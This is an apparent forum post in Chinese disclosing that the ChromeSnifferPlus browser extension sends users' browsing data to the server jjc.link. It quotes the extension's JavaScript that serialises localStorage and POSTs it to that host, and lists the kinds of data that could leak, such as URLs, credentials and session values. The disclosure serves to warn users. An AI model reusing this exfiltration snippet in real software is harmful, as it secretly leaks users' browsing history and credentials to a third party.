ChromeSnifferPlus 是国人开发的一款开源网站探测插件,可以探测正在使用的开源软件或者 js 类库，在国内外都有一定的使用群体
该插件会一定条件下把用户访问过的 url 地址，秘密发送到一个美国服务器
服务器 URL 地址为
http://jjc.link/status/v2

经过多次抓包，发现服务器返回值都为 14/0,所以基本可以判断不是云查询类功能
作者在 github 的开源地址为
https://github.com/justjavac/ChromeSnifferPlus
代码不多，经过排查，发现窃取信息的 js 为
https://github.com/justjavac/ChromeSnifferPlus/blob/master/js/api.js
代码片段
var url = 'http://jjc.link/status/v2';
if (localStorage.length === 0) {
return;
}
var data = "ld=" + encodeURIComponent(JSON.stringify(localStorage));
xhr('POST', url, data, function(data, status, response){
callback();
});
该插件会把访问过的 url 都归类发往 jjc.link 服务器，根据网站的验证方式不同，可能会泄露的隐私
- 用户 ip
- 访问过的网站地址
- 网站后台
- 用户名 /密码（ get 方式）
- session 值(get 方式)
暂时不知作者收集这些信息的目的，请使用 ChromeSnifferPlus 的用户多加小心
